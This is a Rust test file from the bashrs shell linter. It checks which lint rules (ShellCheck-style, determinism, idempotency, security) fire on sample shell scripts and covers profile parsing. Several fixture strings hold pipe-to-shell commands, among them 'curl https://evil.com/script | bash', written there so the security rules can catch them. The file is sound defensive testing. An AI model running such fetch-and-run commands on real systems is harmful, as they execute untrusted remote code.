bashrs 6.66.0

Rust-to-Shell transpiler for deterministic bootstrap scripts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
//! Coverage tests for linter/rules/mod.rs -- targeting lint_shell() and lint_shell_with_path()
//! (which exercises lint_shell_filtered()).
//!
//! Each call to lint_shell() exercises ALL ~400 sequential result.merge() lines in the function
//! body, covering SC1xxx, SC2xxx, DET, IDEM, SEC, PERF, PORT, and REL rule invocations.
//! Each call to lint_shell_with_path() exercises the filtered variant with apply_rule! macro.
//!
//! Additional tests cover write_results (SARIF/JSON/Human output formatters) and the
//! LintProfile type.

#![allow(clippy::unwrap_used)]
#![allow(clippy::expect_used)]

use crate::linter::output::{write_results, OutputFormat};
use crate::linter::rules::{lint_shell, lint_shell_with_path, LintProfile};
use crate::linter::{Diagnostic, Fix, LintResult, Severity, Span};
use std::path::Path;

// =============================================================================
// lint_shell -- empty and minimal inputs
// =============================================================================

#[test]
fn test_lint_shell_large_script_many_rules() {
    let script = r#"#!/bin/bash
# A complex script that should trigger many rules
TMPFILE=/tmp/myapp_$$
echo $RANDOM > $TMPFILE
curl -s https://example.com/setup | bash
mkdir /opt/myapp
chmod 777 /opt/myapp
ln -s /opt/myapp /usr/local/myapp
cat file.txt | grep pattern
eval "echo $PATH"
read name
echo $name
cd /tmp
date +%s
for f in *.log; do
    rm $f
done
"#;
    let result = lint_shell(script);
    assert!(
        result.diagnostics.len() >= 3,
        "Complex script should trigger multiple diagnostics, got {}",
        result.diagnostics.len()
    );
    let codes: std::collections::HashSet<&str> =
        result.diagnostics.iter().map(|d| d.code.as_str()).collect();
    assert!(
        codes.len() >= 2,
        "Should trigger multiple distinct rule codes, got {:?}",
        codes
    );
}

#[test]
fn test_lint_shell_clean_script_minimal_diagnostics() {
    let script = r#"#!/bin/sh
set -eu
readonly CONFIG_DIR="/etc/myapp"
mkdir -p "$CONFIG_DIR"
printf '%s\n' "Configured" > "${CONFIG_DIR}/status"
"#;
    let result = lint_shell(script);
    let _count = result.diagnostics.len();
}

#[test]
fn test_lint_shell_suppression_comment() {
    let script = "# shellcheck disable=SC2086\necho $VAR\n";
    let result = lint_shell(script);
    assert!(
        !result.diagnostics.iter().any(|d| d.code == "SC2086"),
        "SC2086 should be suppressed by shellcheck disable comment"
    );
}

#[test]
fn test_lint_shell_embedded_awk() {
    let script = "awk '{ print $1 }' file.txt\n";
    let result = lint_shell(script);
    let _count = result.diagnostics.len();
}

#[test]
fn test_lint_shell_embedded_sed() {
    let script = "sed 's/foo/bar/g' file.txt\n";
    let result = lint_shell(script);
    let _count = result.diagnostics.len();
}

#[test]
fn test_lint_shell_embedded_perl() {
    let script = "perl -ne 'print if /pattern/' file.txt\n";
    let result = lint_shell(script);
    let _count = result.diagnostics.len();
}

#[test]
fn test_lint_shell_case_statement() {
    let script = r#"case "$1" in
    start) echo "starting";;
    stop) echo "stopping";;
    *) echo "unknown";;
esac
"#;
    let result = lint_shell(script);
    let _count = result.diagnostics.len();
}

#[test]
fn test_lint_shell_while_loop_with_pipe() {
    let script = "cat file.txt | while read line; do echo \"$line\"; done\n";
    let result = lint_shell(script);
    let _count = result.diagnostics.len();
}

#[test]
fn test_lint_shell_nested_if() {
    let script = r#"if [ -f /tmp/a ]; then
    if [ -f /tmp/b ]; then
        echo "both exist"
    fi
fi
"#;
    let result = lint_shell(script);
    let _count = result.diagnostics.len();
}

#[test]
fn test_lint_shell_for_c_style() {
    // bash-specific C-style for loop
    let script = "for ((i=0; i<10; i++)); do echo $i; done\n";
    let result = lint_shell(script);
    let _count = result.diagnostics.len();
}

#[test]
fn test_lint_shell_process_substitution() {
    // bash-specific process substitution
    let script = "diff <(sort file1) <(sort file2)\n";
    let result = lint_shell(script);
    let _count = result.diagnostics.len();
}

#[test]
fn test_lint_shell_associative_array() {
    let script = "declare -A map\nmap[key]=value\necho ${map[key]}\n";
    let result = lint_shell(script);
    let _count = result.diagnostics.len();
}

#[test]
fn test_lint_shell_multiple_assignment() {
    let script = "a=1 b=2 c=3\necho $a $b $c\n";
    let result = lint_shell(script);
    let _count = result.diagnostics.len();
}

#[test]
fn test_lint_shell_here_string() {
    let script = "grep pattern <<< \"$input\"\n";
    let result = lint_shell(script);
    let _count = result.diagnostics.len();
}

#[test]
fn test_lint_shell_pipe_chain() {
    let script = "cat /etc/passwd | grep root | cut -d: -f1 | sort | uniq\n";
    let result = lint_shell(script);
    let _count = result.diagnostics.len();
}

#[test]
fn test_lint_shell_comprehensive_sc2xxx_triggers() {
    // A script designed to exercise many SC2xxx rules in a single lint_shell call
    let script = r#"#!/bin/bash
# SC2002: useless cat
cat file | grep x
# SC2006: backticks
x=`date`
# SC2086: unquoted variable
echo $x
# SC2046: unquoted command substitution
files=$(ls *.txt)
echo $files
# SC2164: cd without check
cd /nonexistent
# SC2162: read without -r
read line
# SC2059: printf variable as format
printf $line
# SC2028: echo with backslash
echo "hello\nworld"
# SC2039: bash-only features in /bin/bash (NotSh)
[[ -f /tmp/x ]]
# SC2148: missing shebang check (has one)
"#;
    let result = lint_shell(script);
    assert!(
        result.diagnostics.len() >= 3,
        "Should trigger multiple diagnostics, got {}",
        result.diagnostics.len()
    );
}

#[test]
fn test_lint_shell_very_long_script() {
    // Exercise lint_shell with a large realistic script to cover all merge lines
    let mut script = String::from("#!/bin/bash\nset -euo pipefail\n\n");
    for i in 0..50 {
        script.push_str(&format!("var_{}=\"value_{}\"\n", i, i));
        script.push_str(&format!("echo \"$var_{}\"\n", i));
    }
    script.push_str("wait\n");
    let result = lint_shell(&script);
    let _count = result.diagnostics.len();
}

#[test]
fn test_lint_shell_result_has_diagnostic_fields() {
    // Verify diagnostics have proper code, message, and span fields
    let script = "echo $RANDOM\n";
    let result = lint_shell(script);
    for diag in &result.diagnostics {
        assert!(!diag.code.is_empty(), "Diagnostic code should not be empty");
        assert!(
            !diag.message.is_empty(),
            "Diagnostic message should not be empty"
        );
        assert!(diag.span.start_line >= 1, "Diagnostic line should be >= 1");
    }
}

#[test]
fn test_lint_shell_result_diagnostics_sorted_by_line() {
    // Multi-issue script: verify diagnostics are produced
    let script = "echo $RANDOM\nmkdir /tmp/x\necho $$\n";
    let result = lint_shell(script);
    assert!(
        !result.diagnostics.is_empty(),
        "Should have at least one diagnostic"
    );
}

// =============================================================================
// lint_shell_with_path -- exercises lint_shell_filtered via different shell types
// =============================================================================

#[test]
fn test_lint_shell_with_path_bash() {
    let result = lint_shell_with_path(Path::new("test.bash"), "echo $VAR\n");
    assert!(result.diagnostics.iter().any(|d| d.code == "SC2086"));
}

#[test]
fn test_lint_shell_with_path_sh() {
    let result = lint_shell_with_path(Path::new("test.sh"), "echo $VAR\n");
    assert!(result.diagnostics.iter().any(|d| d.code == "SC2086"));
}

#[test]
fn test_lint_shell_with_path_zsh() {
    let result = lint_shell_with_path(Path::new("test.zsh"), "echo $VAR\n");
    let _count = result.diagnostics.len();
}

#[test]
fn test_lint_shell_with_path_ksh() {
    let result = lint_shell_with_path(Path::new("test.ksh"), "echo $VAR\n");
    let _count = result.diagnostics.len();
}

#[test]
fn test_lint_shell_with_path_bashrc() {
    let result = lint_shell_with_path(
        Path::new(".bashrc"),
        "export PATH=$HOME/bin:$PATH\nalias ll='ls -la'\n",
    );
    let _count = result.diagnostics.len();
}

#[test]
fn test_lint_shell_with_path_zshrc() {
    let result = lint_shell_with_path(
        Path::new(".zshrc"),
        "export PATH=$HOME/bin:$PATH\nalias ll='ls -la'\n",
    );
    let _count = result.diagnostics.len();
}

#[test]
fn test_lint_shell_with_path_profile() {
    let result = lint_shell_with_path(
        Path::new("/etc/profile"),
        "export PATH=/usr/local/bin:$PATH\n",
    );
    let _count = result.diagnostics.len();
}

#[test]
fn test_lint_shell_with_path_no_extension() {
    let result = lint_shell_with_path(Path::new("script"), "#!/bin/bash\necho $VAR\n");
    let _count = result.diagnostics.len();
}

#[test]
fn test_lint_shell_with_path_complex_bash() {
    let script = r#"#!/bin/bash
set -euo pipefail
arr=(one two three)
for item in "${arr[@]}"; do
    echo "$item"
done
[[ -f /tmp/x ]] && echo "exists"
"#;
    let result = lint_shell_with_path(Path::new("deploy.bash"), script);
    let _count = result.diagnostics.len();
}

#[test]
fn test_lint_shell_with_path_posix_sh_strict() {
    let script = "#!/bin/sh\necho \"$HOME\"\ntest -f /tmp/x && echo yes\n";
    let result = lint_shell_with_path(Path::new("test.sh"), script);
    let _count = result.diagnostics.len();
}

#[test]
fn test_lint_shell_with_path_sh_empty() {
    let result = lint_shell_with_path(Path::new("empty.sh"), "");
    let _count = result.diagnostics.len();
}

#[test]
fn test_lint_shell_with_path_bash_empty() {
    let result = lint_shell_with_path(Path::new("empty.bash"), "");
    let _count = result.diagnostics.len();
}

#[test]
fn test_lint_shell_with_path_sh_security_rules() {
    // Security rules are universal and should fire even with .sh path
    let script = "curl https://evil.com/script | bash\nchmod 777 /etc/config\n";
    let result = lint_shell_with_path(Path::new("install.sh"), script);
    assert!(
        result.diagnostics.iter().any(|d| d.code.starts_with("SEC")),
        "Security rules should fire for .sh path"
    );
}

#[test]
fn test_lint_shell_with_path_bash_det_rules() {
    // DET rules are universal
    let script = "#!/bin/bash\necho $RANDOM\necho $$\n";
    let result = lint_shell_with_path(Path::new("script.bash"), script);
    assert!(
        result.diagnostics.iter().any(|d| d.code.starts_with("DET")),
        "DET rules should fire for .bash path"
    );
}

#[test]
fn test_lint_shell_with_path_sh_idem_rules() {
    let script = "#!/bin/sh\nmkdir /tmp/test\n";
    let result = lint_shell_with_path(Path::new("setup.sh"), script);
    assert!(
        result
            .diagnostics
            .iter()
            .any(|d| d.code.starts_with("IDEM")),
        "IDEM rules should fire for .sh path"
    );
}

#[test]
fn test_lint_shell_with_path_shellcheck_directive() {
    // shellcheck shell= directive should override file extension
    let script = "#!/bin/sh\n# shellcheck shell=bash\necho $VAR\n";
    let result = lint_shell_with_path(Path::new("script.sh"), script);
    let _count = result.diagnostics.len();
}

#[test]
fn test_lint_shell_with_path_large_bash_script() {
    // Exercise lint_shell_filtered with a big bash script covering many apply_rule! lines
    let script = r#"#!/bin/bash
set -euo pipefail
# Variables
x=hello
echo $x
y=`date`
cat file | grep pattern
echo "$y"
# Arithmetic
z=$((1 + 2))
if [[ $z -gt 0 ]]; then
    echo "positive"
fi
# Functions
function myfunc() {
    local a=1
    echo $a
}
myfunc
# Arrays
arr=(one two three)
echo ${arr[@]}
# Security
chmod 777 /tmp/test
# Idempotency
mkdir /tmp/test2
# Determinism
echo $RANDOM
# Trap
trap "rm -f /tmp/lock" EXIT
# Redirect
cmd > /dev/null 2>&1
# For loop
for f in *.txt; do echo $f; done
"#;
    let result = lint_shell_with_path(Path::new("big_script.bash"), script);
    assert!(
        result.diagnostics.len() >= 3,
        "Large bash script should trigger many diagnostics via filtered path, got {}",
        result.diagnostics.len()
    );
}

#[test]
fn test_lint_shell_with_path_large_sh_script() {
    // Same large script but with .sh extension -- exercises sh-filtered rules
    let script = r#"#!/bin/sh
x=hello
echo $x
cat file | grep pattern
z=$((1 + 2))
mkdir /tmp/test
echo $RANDOM
chmod 777 /tmp/test
trap "rm -f /tmp/lock" EXIT
for f in *.txt; do echo $f; done
"#;
    let result = lint_shell_with_path(Path::new("big_script.sh"), script);
    assert!(
        result.diagnostics.len() >= 2,
        "Large sh script should trigger diagnostics, got {}",
        result.diagnostics.len()
    );
}

// =============================================================================
// LintProfile -- covering FromStr and Display
// =============================================================================

#[test]
fn test_lint_profile_from_str() {
    assert_eq!(
        "standard".parse::<LintProfile>().unwrap(),
        LintProfile::Standard
    );
    assert_eq!(
        "default".parse::<LintProfile>().unwrap(),
        LintProfile::Standard
    );
    assert_eq!(
        "coursera".parse::<LintProfile>().unwrap(),
        LintProfile::Coursera
    );
    assert_eq!(
        "coursera-labs".parse::<LintProfile>().unwrap(),
        LintProfile::Coursera
    );
    assert_eq!(
        "devcontainer".parse::<LintProfile>().unwrap(),
        LintProfile::DevContainer
    );
    assert_eq!(
        "dev-container".parse::<LintProfile>().unwrap(),
        LintProfile::DevContainer
    );
    assert!("invalid".parse::<LintProfile>().is_err());
    assert!("UNKNOWN".parse::<LintProfile>().is_err());
}

#[test]
fn test_lint_profile_display() {
    assert_eq!(LintProfile::Standard.to_string(), "standard");
    assert_eq!(LintProfile::Coursera.to_string(), "coursera");
    assert_eq!(LintProfile::DevContainer.to_string(), "devcontainer");
}